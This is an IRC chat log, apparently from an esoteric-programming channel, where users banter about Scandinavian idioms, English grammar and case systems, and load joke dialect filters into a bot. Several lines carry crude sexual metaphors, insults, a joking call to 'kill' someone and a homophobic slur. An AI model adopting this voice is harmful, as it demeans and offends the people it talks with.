23:40:24 <ehird> GregorR-L: AnMaster complained at me for defending someone who ran into a language barrier in here i while ago
23:40:31 <AnMaster> ehird, plus I have always been what we in Swedish call "en ensamvarg", an idiom meaning rougly someone who prefers to be alone. For example, rather reading a book alone at home, than going to a party
23:40:53 <Spike_> one language barrier question: what does "Bit sort the stack byte in place" means?
23:41:04 <AnMaster> ehird, not exactly, different connotations
23:41:08 -!- KingOfKarlsruhe has quit (Remote closed the connection).
23:41:17 <GregorR-L> Spike_: I, as a native speaker of English, have not a fekking clue.
23:41:18 <ehird> Spike_: a byte is made up of N bits - usually 32 or 64
23:41:27 <ehird> Spike_: but let's say, oh, 10 for demonstration
23:41:38 <ehird> Spike_: well, 0101010101 -> 0000011111 would be that
23:41:40 <ehird> "sorting the bits"
23:41:41 <AnMaster> ehird, this concept doesn't imply nerdiness. It could imply shyness too. But it doesn't require that either
23:41:42 <ehird> but I doubt it's that
23:41:46 <ehird> so I have no clue :)
23:41:53 <GregorR-L> ehird: That was my first though, but that seems so stupid :P
23:42:13 <ehird> GregorR-L: As a "random crazy operation", though, it could work.
23:42:24 <ehird> GregorR-L: It... counts the number of 1s, I think.
23:42:32 <AnMaster> <ehird> Spike_: a byte is made up of N bits - usually 32 or 64 <-- *blink*
23:42:50 <ehird> GregorR-L: yep, it does
23:43:00 <ehird> GregorR-L: it results in 2**count_of_ones - 1
23:43:24 <Spike_> 8, 16, 32, whatever... why ReMorse language needs such operation for?
23:43:33 <AnMaster> GregorR, again not same. En "eremit" (The Swedish term), is someone living way out in the forest or such in a hut. While a "ensamvarg" may live in society, just not take active part of the social aspects.
23:43:57 <ehird> AnMaster: WHOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOSH
23:44:01 <ehird> That was a gale-force wind.
23:44:04 <ehird> Going over your head.
23:44:10 <AnMaster> ehird, I'm looking for a good translation
23:44:21 <AnMaster> thus I choose to ignore the joke aspect of it
23:44:32 <oerjan> literally it means "lonesome wolf"
23:44:41 <ehird> AnMaster: I'm sure.
23:45:03 <AnMaster> oerjan, you have it in Norwegian btw?
23:45:25 <AnMaster> ehird, I actually did, the joke part was irrelevant to this convo
23:45:37 <oerjan> not in one word anyhow...
23:45:45 <ehird> GregorR-L: stop being irrelevant, you uncouth person!
23:46:16 <oerjan> (by not sure, i mean the term "ensom ulv" is used, but i'm not sure it means exactly the same)
23:46:35 <AnMaster> oerjan, so what does it mean then
23:46:43 <oerjan> the norwegian would be "enstøing"
23:46:58 <AnMaster> wth is "Tagalog". Saw it in an interwiki link...
23:47:17 <ehird> The Tagalog language, the most widely spoken of the Philippine languages.
23:47:19 <ehird> The Tagalog people, the second-largest Filipino ethnic group.
23:47:20 <ehird> The Tagalog script, the ancient writing system of the Tagalog people.
23:47:27 <ehird> AnMaster: I wish you would buy a mouse so you can CLICK LINKS AND FIND OUT.
23:47:30 <AnMaster> it sounds like a constructed one
23:47:46 <AnMaster> ehird, interwiki link... as in interwiki language one
23:47:52 <AnMaster> I can't read the page I got by clicking
23:47:57 <ehird> AnMaster: Copy, paste, google.
23:48:01 <oerjan> AnMaster: languages around there sometimes do, it's a malayo-polynesian thing
23:48:06 <AnMaster> ehird, sure. But that != clicking
23:48:18 <ehird> AnMaster: Click, drag, release, middle click, click search.
23:48:29 <oerjan> CV syllable structure. japanese too...
23:48:52 <AnMaster> ehird, "click, drag" -> dragging link pastes the url of the link into the google search box
23:49:14 <ehird> AnMaster: Click, drag to select.
23:49:31 * AnMaster switches to using dvtm with emacs w3m-mode just to annoy ehird
23:50:01 <AnMaster> ehird, remember that "Zaba" I mentioned?
23:50:10 <ehird> AnMaster: Don't tell me.
23:50:14 <ehird> He switched to dvtm.
23:50:18 <AnMaster> When I told him about dvtm he said he would use it if he needed terminal multiplexing
23:50:24 <AnMaster> ehird, he said he didn't though
23:50:31 <AnMaster> that 6 vts were more than enough
23:50:37 <ehird> Anyone want to go kill him? pikhq?
23:50:42 <ehird> It's for justice, and humanity.
23:51:17 <AnMaster> ehird, whatever you do, don't tell zzo about dvtm
23:51:52 <AnMaster> ehird, hm "screen refresh on new output from program should be an option"
23:51:53 <ehird> AnMaster: he'd write his own virtual terminal layer
23:52:47 <AnMaster> ehird, any idea for other options he would add?
23:53:52 -!- Corun has changed nick to Corun|away.
23:54:01 <ehird> AnMaster: change the source to zzodvtm.
23:54:04 <oerjan> AnMaster: sv:enstöring/ensamvarg links to en:loner (also there was a tagalog link, were you at the same page? :D)
23:54:56 <AnMaster> oerjan, yes. But notice what it says about the difference between those two Swedish words
23:55:43 <AnMaster> "The modern term "loner" is usually used with a negative connotation" <-- "ensamvarg" doesn't in Swedish. "enstöring" does however.
23:55:55 <oerjan> also, http://en.wikipedia.org/wiki/Lone_wolf_(trait)
23:56:27 <AnMaster> yes in Swedish it is used in a non-literal meaning
23:56:41 <AnMaster> as is described further down there
00:00:12 -!- GregorR-L has changed nick to Lune-aVulff.
00:01:25 <AnMaster> oerjan, hm... that sounds extremely familiar...
00:02:20 <AnMaster> but "au claire de la lune" isn't the name of it
00:02:44 <oerjan> http://en.wikipedia.org/wiki/Au_Clair_de_la_Lune
00:02:52 <AnMaster> well I haven't heard of that folk song before
00:03:06 <AnMaster> I have heard Clair de lune by Debussy though
00:03:36 -!- Corun|away has changed nick to Corun.
00:04:38 <ehird> Lune-aVulff: do we have compose yet?
00:04:54 <Lune-aVulff> ... do ... we ... have ... compose ... yet ...
00:06:13 <AnMaster> ehird, Three. Two. One. Igntion. We have compose. <cue: cheers from control room>
00:06:28 <ehird> !swedish Because, you see, I want to do things like Swedish^2.
00:06:29 <EgoBot> Becoose-a, yuoo see-a, I vunt tu du theengs leeke-a Svedeesh^2. Bork Bork Bork!
00:06:34 <oerjan> http://en.wikipedia.org/wiki/Clair_de_Lune
00:06:34 <ehird> !swedish Becoose-a, yuoo see-a, I vunt tu du theengs leeke-a Svedeesh^2. Bork Bork Bork!
00:06:35 <EgoBot> Becuuse-a-a, yoouu see-a-a, I foont too doo zeeengs leeke-a-a Sfedeesh^2. Bork Bork Bork! Bork Bork Bork!
00:06:45 <ehird> !swedish Becuuse-a-a, yoouu see-a-a, I foont too doo zeeengs leeke-a-a Sfedeesh^2. Bork Bork Bork! Bork Bork Bork!
00:06:46 <EgoBot> Becoooose-a-a-a, yuuoooo see-a-a-a, I fuunt tuu duu zeeengs leeke-a-a-a Sffedeesh^2. Bork Bork Bork! Bork Bork Bork! Bork Bork Bork!
00:06:54 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
00:06:59 <EgoBot> userinterps: Users can add interpreters written in any of the languages in !help languages. See !help addinterp, delinterp, show | !userinterps. List interpreters added with !addinterp.
00:07:05 <EgoBot> Installed user interpreters: bc bct bfbignum brit chiqrsx9p choo dc echo google gregor hello num ook plot rot13 sadbf slashes swedish yodawg
00:07:14 <ehird> !swedish Hello, world! This is a test.
00:07:14 <EgoBot> Hellu, vurld! Thees is a test. Bork Bork Bork!
00:07:16 <AnMaster> Lune-aVulff, you need to add an UK English parody one
00:07:18 <ehird> !brit Hellu, vurld! Thees is a test. Bork Bork Bork!
00:07:19 <EgoBot> 'ellu, vurld! Oi! Fees is a test. Bork Bork Bork! Oi!
00:07:39 <ehird> !brit AnMaster: We already have one, that is the truth.
00:07:39 <EgoBot> AnMaster: We already 'ave one, that is the bloody truth.
00:07:48 <AnMaster> ehird, ah I didn't know about it
00:07:55 <EgoBot> This is 'ow real Brits go on.
00:08:01 <ehird> That is just expanding all contractions, and pronouncing it in Received Pronunciation.
00:08:31 <ehird> !brit AnMaster: This is basically accurate for Londoners.
00:08:32 <EgoBot> AnMaster: This is basically accurate for Cockneys.
00:08:56 <AnMaster> Lune-aVulff, where is that program from
00:09:13 <AnMaster> ehird, I tail at Cockneys rhymes
00:09:41 <ehird> AnMaster: To interpret them, just disregard the first word, and think of something that rhymes with the latter that fixes.
00:09:44 <ehird> "Go up the apples and pears."
00:09:47 <ehird> → "Go up the [pears]."
00:09:49 <AnMaster> Jun 7 00:53:27 tux /usr/sbin/gpm[4899]: *** info [daemon/processrequest.c(42)]:
00:09:49 <AnMaster> Jun 7 00:53:27 tux /usr/sbin/gpm[4899]: Request on 7 (console 0)
00:09:56 <ehird> You have to know 'em, really.
00:10:15 <AnMaster> ehird, hm... "stairs" rhyme with "pears"?
00:10:20 <ehird> Lune-aVulff: That talkfilters is by the same guy who did libconfig and that JVM server.
00:10:49 <Lune-aVulff> Did you think that "pears" sounded like "peers"?
00:10:50 <ehird> AnMaster: Stares. Pares.
00:11:11 <ehird> Lune-aVulff: [[The filters include austro, b1ff, brooklyn, chef, cockney, drawl, dubya, fudd, funetak, jethro, jive, kraut, pansy, pirate, postmodern, redneck, valspeak, and warez]]
00:11:16 <ehird> i'm going to add all of them now, ok?
00:11:25 <Lune-aVulff> ehird: Most of them are surprisingly lame :(
00:11:31 <AnMaster> ehird, same sounds as for airs and ears then?
00:11:36 <Lune-aVulff> ehird: I left it to those two because they're actually good.
00:11:48 <Lune-aVulff> AnMaster: So you have no understanding of English then? Got it :P
00:12:30 -!- Dewio has joined.
00:12:32 <EgoBot> Interpreter aol installed.
00:12:39 <EgoBot> 1"M AN AOL USER!!!!!!!!!!1
00:12:42 <ehird> Lune-aVulff: That's not AOL.
00:12:53 <ehird> I'm going to add them all with their proper names, harumph.
00:12:56 <oerjan> um ea and ee are usually the same sound in english aren't they
00:12:57 <AnMaster> Lune-aVulff, well there is something similiar in them
00:13:15 <AnMaster> Lune-aVulff, but not in US English right?
00:13:19 <EgoBot> Interpreter brit deleted.
00:13:22 <EgoBot> Interpreter aol deleted.
00:13:23 <ehird> !delinterp swedish
00:13:23 <EgoBot> Interpreter swedish deleted.
00:13:27 <ehird> !addinterp austro sh austro
00:13:27 <ehird> !addinterp b1ff sh b1ff
00:13:27 <EgoBot> Interpreter austro installed.
00:13:27 <EgoBot> Interpreter b1ff installed.
00:13:29 <ehird> !addinterp brooklyn sh brooklyn
00:13:29 <EgoBot> Interpreter brooklyn installed.
00:13:30 <ehird> !addinterp chef sh chef
00:13:31 <EgoBot> Interpreter chef installed.
00:13:33 <ehird> !addinterp cockney sh cockney
00:13:33 <EgoBot> Interpreter cockney installed.
00:13:34 <ehird> !addinterp drawl sh drawl
00:13:35 <EgoBot> Interpreter drawl installed.
00:13:36 <ehird> !addinterp dubya sh dubya
00:13:37 <EgoBot> Interpreter dubya installed.
00:13:39 <ehird> !addinterp fudd sh fudd
00:13:39 <EgoBot> Interpreter fudd installed.
00:13:40 <ehird> !addinterp funetak sh funetak
00:13:41 <EgoBot> Interpreter funetak installed.
00:13:43 <ehird> !addinterp jehtro sh jehtro
00:13:43 <EgoBot> Interpreter jehtro installed.
00:13:44 <ehird> !addinterp kraut sh kraut
00:13:45 <EgoBot> Interpreter kraut installed.
00:13:46 <ehird> !addinterp pansy sh pansy
00:13:47 <EgoBot> Interpreter pansy installed.
00:13:48 <ehird> !addinterp pirate sh pirate
00:13:49 <EgoBot> Interpreter pirate installed.
00:13:51 <ehird> !addinterp postmodern sh postmodern
00:13:51 <EgoBot> Interpreter postmodern installed.
00:13:52 <ehird> !addinterp redneck sh redneck
00:13:53 <EgoBot> Interpreter redneck installed.
00:13:53 <AnMaster> because that one is just his !swedish
00:13:54 <ehird> !addinterp valspeak sh valspeak
00:13:55 <EgoBot> Interpreter valspeak installed.
00:13:57 <ehird> !addinterp warez sh warez
00:13:57 <EgoBot> Interpreter warez installed.
00:14:01 <ehird> Lune-aVulff: Sorry, bit late.
00:14:03 <ehird> AnMaster: I deleted those.
00:14:10 <ehird> Shut up, I didn't know about it.
00:14:15 <ehird> I'd already sent the lines off.
00:14:32 <ehird> GregorR: Did not say strategery.
00:14:42 <Lune-aVulff> ehird: See, dubya is one of the lame ones. I can't find something that it changes.
00:14:46 <ehird> AnMaster: Give a shit I don't.
00:14:57 <ehird> !dubya We are at war with the Iranic terrorists.
00:14:57 <EgoBot> We is at war with the Iranically evildoers. Stay the course!
00:14:59 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
00:15:00 <ehird> !dubya We are at war with the Islamic terrorists.
00:15:01 <EgoBot> We is at war with the Islamically bad guys.
00:15:06 <EgoBot> userinterps: Users can add interpreters written in any of the languages in !help languages. See !help addinterp, delinterp, show | !userinterps. List interpreters added with !addinterp.
00:15:12 <EgoBot> Installed user interpreters: austro b1ff bc bct bfbignum brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo fudd funetak google gregor hello jehtro kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes valspeak warez yodawg
00:15:17 -!- pikhq_ has joined.
00:15:19 <ehird> !valspeak Val speak? What?
00:15:20 -!- Lune-aVulff has quit ("Leaving").
00:15:27 <ehird> !valspeak What is valspeak, I wonder?
00:15:28 <EgoBot> What is valspeak, fer shure I wonder?
00:15:36 <ehird> !postmodern The objects are ontologically categorized
00:15:36 <EgoBot> Tted Kennedy objects are ontologically categorized
00:15:37 <AnMaster> !postmodern So what is this then?
00:15:38 <EgoBot> So what is semiotically this semiotically then?
00:15:59 <AnMaster> ehird, what is this "postmodern"
00:16:03 <ehird> google postmodernism
00:16:24 <ehird> !postmodern The objects are ontologically categorized by the literature-social relation that is so common to these works, so that a new theory based on inter-spatial relationships can be developed and refined in according with the principles of reductionism.
00:16:24 <EgoBot> Tted Kennedy objects are ontologically categorized by tted Kennedy literature-social relation that deconstructed is semiotically so common to these works, so that deconstructed a postmodern theory based on inter-spatial relationships can be developed and refined in the penetrated space of according with tted Kennedy principles of reductionism.
00:16:34 <ehird> Okay, uh, that cold do better.
00:17:02 <ehird> !drawl I have a drawl, 'tis true.
00:17:02 <EgoBot> Ahv uh drawl, 'tis true.
00:17:04 <AnMaster> ehird, Hm... I know parts of postmodernism
00:17:25 <ehird> AnMaster: Postmodernism is a load of bullshit involving words like "ontological", "semiotic" and other bullshit.
00:17:47 <oerjan> !postmodern Would you like a cup of coffee, dear?
00:17:47 <EgoBot> Would you like a cup of coffee, dear?
00:18:03 <ehird> !pirate YARRRRRRRR
00:18:09 <ehird> !pirate Well, it sure does work.
00:18:09 <EgoBot> Well, it sure does work, I'll warrant ye.
00:18:40 <AnMaster> ehird, hm. Not only I believe after reading the WP article about it
00:19:05 <ehird> AnMaster: If you can read a few paragraphs of the article "Postmodernism" and your brain has not turned into goo, it was already goo.
00:19:29 <ehird> AnMaster: see, for instance, http://en.wikipedia.org/wiki/Sokal_affair
00:19:42 <oerjan> !postmodern In order to create goo, insert brain in slot no. 4
00:19:43 <EgoBot> In the penetrated space of order to create goo, insert brain the penetrated space of in the penetrated space of slot no. 4
00:19:47 <ehird> http://en.wikipedia.org/wiki/Science_wars, too.
00:20:00 <ehird> "They like evidence and reason but we like word masturbation."
00:20:40 <ehird> I might write a filter for that
00:20:56 <ehird> "The green grass is so beautiful! Oh, and the blue sky! This is so perfect, I want to be here forever."
00:21:21 <ehird> "The green grass is so beautiful, schmeautiful. Oh, and the blue sky, shmy! This is so perfect, schmerfect, I want to be here forever."
00:21:25 <ehird> AnMaster: I'm not gone :P
00:22:03 <EgoBot> Installed user interpreters: austro b1ff bc bct bfbignum brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo fudd funetak google gregor hello jehtro kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes valspeak warez yodawg
00:22:23 <ehird> !pansy Oh! That hurts! You touched me!
00:22:23 <EgoBot> Oh. Mmmh, yeth! That hurtth. Mmmh, yeth! You touched me. Mmmh, yeth!
00:22:55 <ehird> !fudd I'm hunting rabbits.
00:23:03 <ehird> !fudd It's rabbit season.
00:23:03 <EgoBot> It's wabbit season, uh-hah-hah-hah.
00:23:16 <oerjan> !redneck Please stand still so I can hit you.
00:23:17 <EgoBot> Please stand still so Ah kin hit yew.
00:23:22 <ehird> AnMaster: Elmer Fudd.
00:23:33 <ehird> The vegetarian Bugs Bunny-hunter.
00:23:46 <AnMaster> ehird, I have only seen Swedish translation
00:23:55 <AnMaster> so I don't even remember the Swedish name
00:23:58 <ehird> !fudd Be very very quiet, I'm hunting rabbits.
00:23:58 <EgoBot> Be vewy vewy qwiet, I'm hunting wabbits.
00:24:03 <ehird> It forgot the hahs.
00:24:21 -!- Dewi has quit (Read error: 101 (Network is unreachable)).
00:25:18 -!- Judofyr has quit (Remote closed the connection).
00:25:35 <AnMaster> ehird, they lost that when adding Swedish voices instead
00:25:52 <AnMaster> he had some other speech impediment iirc.
00:26:50 <ehird> That's what it had in... in thingy, you know, English.
00:29:00 <AnMaster> ehird, post-modernism in design and novels is something different from that though
00:29:03 -!- pikhq has quit (Connection timed out).
00:31:29 <AnMaster> "The term postmodern is described by Merriam-Webster as meaning either "of, relating to, or being an era after a modern one" or "of, relating to, or being any of various movements in reaction to modernism that are typically characterized by a return to traditional materials and forms (as in architecture) or by ironic self-reference and absurdity (as in literature)", or finally "of, relating to, or bei
00:31:29 <AnMaster> ng a theory that involves a radical reappraisal of modern assumptions about culture, identity, history, or language"."
00:31:36 <AnMaster> I have run into the second meaning
00:32:02 <AnMaster> and I even seen Discworld classified as post-modern
00:36:28 <AnMaster> ehird, Seems like postmodernism in Swedish have a slightly wider meaning
00:42:26 <oerjan> And the Ehird said: Thou shalt not start a sentence with "And". And everyone begot mightily confused.
00:43:11 <GregorR> And what's so wrong with starting sentences with 'and'?
00:43:59 <GregorR> Do you complain about ending sentences with prepositions?
00:44:24 -!- pikhq_ has changed nick to pikhq.
00:44:38 <ehird> GregorR: No, that's fine/
00:44:40 <oerjan> I think prepositions are a perfectly appropriate thing to end sentences with.
00:44:42 <AnMaster> I think someone else asked that before....
00:45:03 <pikhq> Do you complain about split infinitives?
00:45:31 <GregorR> oerjan: Way to make that sentence as awkward as possible to prove a point about it not being awkward :P
00:45:31 <pikhq> psygnisfive: Care to beat ehird?
00:45:44 <AnMaster> pikhq, And to boldly use "and" at the start of sentences where no one used "and" before?
00:45:44 <lament> ah, it's futile to powerlessly complain...
00:45:47 <ehird> psygnisfive will fight with me against and-starters! He is not evil!
00:46:36 <oerjan> GregorR: And please, is what we aim to.
00:46:54 <AnMaster> pikhq, I have, as a non-native speaker, troubles detecting split infinitives. To me they sound perfectly normal
00:47:23 <AnMaster> <GregorR> oerjan: Way to make that sentence as awkward as possible to prove a point about it not being awkward :P <-- um your was somehow. But not oerjan's
00:47:46 <ehird> psygnisfive: I hate sentences starting with and
00:47:48 <ehird> the evil masses do not
00:47:52 <ehird> WE WILL FIGHT! TOGETHER!
00:47:58 <ehird> FOR CORRECTNESS AND PROSPERITY!
00:48:11 <pikhq> AnMaster: They are, in fact, quite normal.
00:48:26 <oerjan> And correctness and prosperity is what we will fight for!
00:48:33 <psygnisfive> ehird: noone cares what you think because you're 13.
00:48:34 <lament> I hate sentences *ending* with and.
00:48:36 <AnMaster> And lo and behold. psygnisfive disagreed with ehird.
00:48:49 <pikhq> AnMaster: The complaints about split infinitives were started by some bloody bastards that decided to start applying Latin grammar rules to English.
00:48:49 <ehird> AnMaster: That's a rather odd definition of disagreeing.
00:48:59 <ehird> psygnisfive: I'M ALMOST 14
00:49:14 <psygnisfive> whats that? sorry, i dont care what you think.
00:50:16 <ehird> AnMaster: He hasn't disagreed with me.
00:50:18 <ehird> He's just joking about my age
00:50:39 <psygnisfive> why bother disagreeing with a child who knows nothing of the world
00:50:46 <oerjan> And be, or not to, that is the question.
00:50:47 <AnMaster> psygnisfive, so what do you think about sentences starting with and?
00:51:00 <ehird> I'm a bunny rabbit, incidentally.
00:51:06 <AnMaster> oerjan, that is stretching it...
00:51:26 * ehird continues state of bunnyness.
00:51:26 <AnMaster> psygnisfive, just not used a lot in formal English right?
00:51:27 <oerjan> sorry, that should be, "And be, that is the question, or not to."
00:51:43 <psygnisfive> anmaster: it depends alot on who's formal english.
00:51:44 <AnMaster> oerjan, err. Is that all third at once
00:51:56 <ehird> psygnisfive: 'a lot'
00:52:03 <AnMaster> psygnisfive, so you disagree with ehird then
00:52:17 <ehird> AnMaster: he also uses "alot", which isn't a word.
00:52:39 <ehird> Common misspelling of a lot.
00:52:45 <ehird> Common misspelling of a lot.
00:52:46 <ehird> http://www.wsu.edu/~brians/errors/alot.html
00:52:49 <ehird> Perhaps this common spelling error began because there does exist in English a word spelled “allot” which is a verb meaning to apportion or grant. The correct form, with “a” and “lot” separated by a space is perhaps not often encountered in print because formal writers usually use other expressions such as “a great deal,” “often,” etc.
00:52:53 <ehird> psygnisfive: Wiktionary and /errors/ disagree with you.
00:53:00 <AnMaster> Alot is a town and a nagar panchayat in Ratlam district in the state of Madhya Pradesh, India.
00:53:07 <ehird> pikhq: Even you, surely, will agree that "alot" is not a word.
00:53:12 <psygnisfive> anmaster, hey, guess what, "until" is a misspelling of "on till"
00:53:21 <pikhq> Alot is a misspelling of a word.
00:53:35 <pikhq> Or the result of someone who accidentally the space.
00:53:45 <psygnisfive> luckily, languages themselves dont care about "acceptance", only usage.
00:53:55 <ehird> pikhq: Pfft! You're not nearly descriptivist enough! If we can sample text messages, we will see the true english!
00:53:59 <ehird> thx 4 dat, psygnisfive
00:54:03 <ehird> u tort me a gud lesson
00:54:07 <pikhq> AnMaster: Yes. Slashdot meme.
00:54:11 <ehird> now i no wot english is
00:54:19 <pikhq> psygnisfive: Exceptions made for those languages that have official language bodies. (French) :p
00:54:25 <ehird> http://encyclopediadramatica.com/I_accidentally_X
00:54:39 <pikhq> ehird: Didn't know it was a meme from 4chan initially.
00:54:49 <psygnisfive> just because some twats get together and declare themselves to be the keepers of French doesnt mean shit
00:54:51 <pikhq> ehird: Doesn't surprise me.
00:54:56 <ehird> pikhq: 4chan→reddit→slowpoke valley (it's old in the previous two now)→slashdot
00:55:01 <pikhq> 4chan is the literal asshole of the Internet.
00:55:12 <pikhq> All shit comes out of it.
00:55:16 <psygnisfive> I declare myself to be the sole authority on the English language, with fiat to declare what is and isn't English.
00:55:27 <pikhq> psygnisfive: Fuck off.
00:55:28 <AnMaster> pikhq, ah yes. Except now it won't. See that recent xkcd.
00:55:36 <oerjan> psygnisfive: the norwegian _parliament_ actually passed a law changing our number system from german to english style ordering :)
00:55:55 <psygnisfive> the only thing that matters is what people do.
00:56:00 <oerjan> it still hasn't taken completely
00:56:15 <ehird> 00:55 pikhq: 4chan is the literal asshole of the Internet.
00:56:18 <oerjan> psygnisfive: treogfemti vs. femtitre
00:56:23 <ehird> It does not have any of the anatomical features of an anus.
00:56:28 <AnMaster> <pikhq> psygnisfive: Exceptions made for those languages that have official language bodies. (French) :p <-- Hm... I'm not sure what you mean. But it is possible Sweden has such a thing
00:56:41 <pikhq> The idea is that people tell the "official" defining bodies to fuck off.
00:57:06 <pikhq> AnMaster: Something like the Academie Française? (might've misspelt that; I don't know French)
00:57:07 <oerjan> psygnisfive: german 53 is "drei und fünfzig" iirc
00:57:09 <psygnisfive> its just that the language doesnt magically change because some guys in an office declared it to have.
00:57:11 <pikhq> psygnisfive: Well, yes. They just ignore them.
00:57:24 <psygnisfive> assuming they even know about the proclamation
00:57:27 <AnMaster> ah yes http://www.sprakradet.se/
00:57:31 <ehird> Theory: "I'm a linguist" is a socially acceptable excuse to rape the English language.
00:57:35 <oerjan> norwegian used to use the same order as german, then the parliament wanted to change it to english
00:57:40 <AnMaster> <pikhq> AnMaster: Something like the Academie Française? (might've misspelt that; I don't know French) <-- no clue
00:58:07 <oerjan> psygnisfive: still "tretten"
00:58:08 <pikhq> One can't be said to rape English, anyway.
00:58:19 <ehird> pikhq: Sure you can, metaphorically.
00:58:23 <AnMaster> ehird, you just say this because psygnisfive proved you wrong. And that is your usual style.
00:58:34 <ehird> AnMaster: I'm complaining about his usage of "alot", you dimwit.
00:58:43 <psygnisfive> anmaster: ehird just wants me to bunny cuddle him
00:58:50 <ehird> Are you so pathetic that you have to latch on to any time some random person that you believe to be authoritative says I'm wrong?
00:58:51 <pikhq> English is a freaking slut. It pleasures anyone, as would a harlot.
00:58:57 <ehird> Is that seriously the only goddamn method of argument you have?
00:59:05 <ehird> Argumentum appeal to good-looking authority?
00:59:14 <pikhq> There is nothing, and I mean *nothing* sacrosanct about English.
00:59:16 <psygnisfive> pikhq: english is a good neighbor, you take that back! >|
00:59:29 <AnMaster> http://www.sprakradet.se/international btw
00:59:36 <AnMaster> not sure if that is the same thing basically
01:00:06 <AnMaster> since I have no clue what this "Academie Française" does.
01:00:17 <pikhq> psygnisfive: It is the unholy amalgamate of Old Norse, Latin, French, Norman, Celtic, Old Norse, etc.
01:00:22 <ehird> Gooogle doesn't exist.
01:00:23 <pikhq> AnMaster: Defines French.
01:00:25 <ehird> Gooooooooooooooooogle.
01:00:26 <AnMaster> <oerjan> norwegian used to use the same order as german, then the parliament wanted to change it to english <-- What is the German order? Is it for dates and such?
01:00:44 <pikhq> psygnisfive: It has had two seperate Norse influences, IIRC.
01:00:51 <pikhq> And yes, I forgot to mention Old English.
01:01:09 <psygnisfive> the overwhelming majority of those influences are lexical.
01:01:19 <psygnisfive> lexical adoption is the most trivial sort, and also the most uninteresting.
01:01:54 <AnMaster> <ehird> Is that seriously the only goddamn method of argument you have? <-- no
01:02:01 <ehird> AnMaster: Seems to be
01:02:07 <pikhq> Especially since Old English and Old Norse /were/ mutually intelligible.
01:02:07 <psygnisfive> celtic did, however, have some minor syntactic affects on english
01:02:25 <oerjan> AnMaster: numbers, 21-99 except the round ones
01:02:59 <pikhq> And we know that the Norman Invasion had some freaking massive affects on English.
01:03:04 <oerjan> acht und siebzig, i think
01:03:09 <AnMaster> oerjan, or what do you mean the "order"... I mean the lowest number is lowest
01:03:38 <AnMaster> oerjan, I fail to see what part of the number "order" was changed
01:03:41 <oerjan> AnMaster: big vs. little endian, essentially, but only for the ones vs. tens part
01:04:04 <AnMaster> oerjan, ah like "twenty one" vs "one twenty"?
01:04:19 <AnMaster> oerjan, I remember Danish has a HORRIBLE system for that
01:04:30 <psygnisfive> except, perhaps, via the destruction of the english case system, if that can be attributed to the norman invasion
01:04:34 <AnMaster> something like "5 and four-tweties"
01:04:35 -!- BeholdMyGlory has quit (Read error: 54 (Connection reset by peer)).
01:05:17 <ehird> Think class, except it
01:05:21 <psygnisfive> all the germanic languages made extensive use of case
01:05:21 <pikhq> psygnisfive: Wasn't Norman's grammar already rather Germanic, anyways?
01:05:22 <ehird> 's determined by your birth and you can't change it.
01:05:23 <ehird> If you didn't know.
01:05:38 <ehird> I was wondering what caste had to do with english
01:06:03 <AnMaster> ehird, I know what "kast" is, isn't it used in India still
01:06:04 <oerjan> AnMaster: worse, 78 is åtteoghalvfjerds iirc
01:06:12 <psygnisfive> case is what distinguishes words like "he" and "him", "I" and "me", etc.
01:06:15 <ehird> AnMaster: Think so.
01:06:15 <AnMaster> but he SAID "case", which is what confused me
01:06:23 <AnMaster> <psygnisfive> also, no, not class.
01:06:42 <ehird> I thought he had typo'd by missing a letter as he did previously.
01:06:45 <AnMaster> psygnisfive, you have them in those examples?
01:06:57 <ehird> Your insistence on always "winning" against me to show how much of an idiot I am is laughable; please spend your time elsewhere.
01:07:02 <AnMaster> "<psygnisfive> case is what distinguishes words like "he" and "him", "I" and "me", etc."
01:07:17 -!- FireFly has quit ("Later").
01:07:26 <psygnisfive> oh, well, yes, english has remnant case in the pronominal domain
01:07:29 <pikhq> Old English had much more case.
01:07:39 <psygnisfive> modern icelandic has an extensive case system
01:07:46 <psygnisfive> its the only germany language that retains this.
01:08:01 <oerjan> psygnisfive: german also as case
01:08:36 <psygnisfive> case is just a system of marking arguments of a verb.
01:08:40 <AnMaster> psygnisfive, well that is what I'm asking
01:08:46 <AnMaster> since you say am/are/is isn't case
01:08:53 <oerjan> psygnisfive: also prepositions
01:09:02 <psygnisfive> theres no clear understanding of what case really does
01:09:16 <AnMaster> psygnisfive, the "s" on "he writes"?
01:09:23 <ehird> ABRAHAM LINCOLN WAS AN ARAB DONKEY
01:09:25 <psygnisfive> anmaster: thats still subject-verb agreement.
01:09:32 <AnMaster> psygnisfive, then English need varargs
01:09:38 <psygnisfive> verbs have some fixed number of arguments, like, functions
01:09:42 <oerjan> AnMaster: verbs don't have case
01:09:51 <psygnisfive> and the verb assigns case to each of its arguments
01:09:54 <oerjan> nouns and adjectives can have
01:10:03 <ehird> 01:09 AnMaster: psygnisfive, then English need varargs
01:10:09 <psygnisfive> sort of like if you had argument "names" that had to be explicit in the function call, to some sense.
01:10:27 <ehird> psygnisfive: smalltalk has that.
01:10:33 <ehird> fooBar: baz andQuux: dsfjksdf
01:10:34 <AnMaster> psygnisfive, so when you change the form of an adjective depending on if the noun you are describing is singular or plural. Is that case?
01:10:43 <ehird> although python's foo(a=b,c=d) without positional args would be more of a mapping
01:11:06 <psygnisfive> more like bit(nom = dog, acc = man) or bit(nom = man, obl = dog)
01:11:32 <AnMaster> psygnisfive, mhm. Swedish has that one.
01:11:33 <ehird> psygnisfive: Bitnomdogaccman?
01:11:44 <oerjan> psygnisfive: adjectives can agree in case too
01:11:50 <AnMaster> (and yes probably 4chan originally)
01:12:12 <ehird> AnMaster: no, lolcat fags.
01:12:14 <AnMaster> psygnisfive, so how is "he" a case
01:12:30 <pikhq> psygnisfive: Hmm. Sure enough... Norman itself was the unholy amalgamate of Old French and Old Norse.
01:12:34 <psygnisfive> "he" is the nominative case version of the first person singular masculine pronoun
01:12:39 <AnMaster> <AnMaster> "<psygnisfive> case is what distinguishes words like "he" and "him", "I" and "me", etc."
01:13:01 <oerjan> psygnisfive: third person
01:13:10 <AnMaster> jag/mig in Swedish for example then
01:13:57 <psygnisfive> a gloss is a sort of "translation" or "definition" of sorts.
01:14:08 <oerjan> where is ais523's butterfly net when we need it
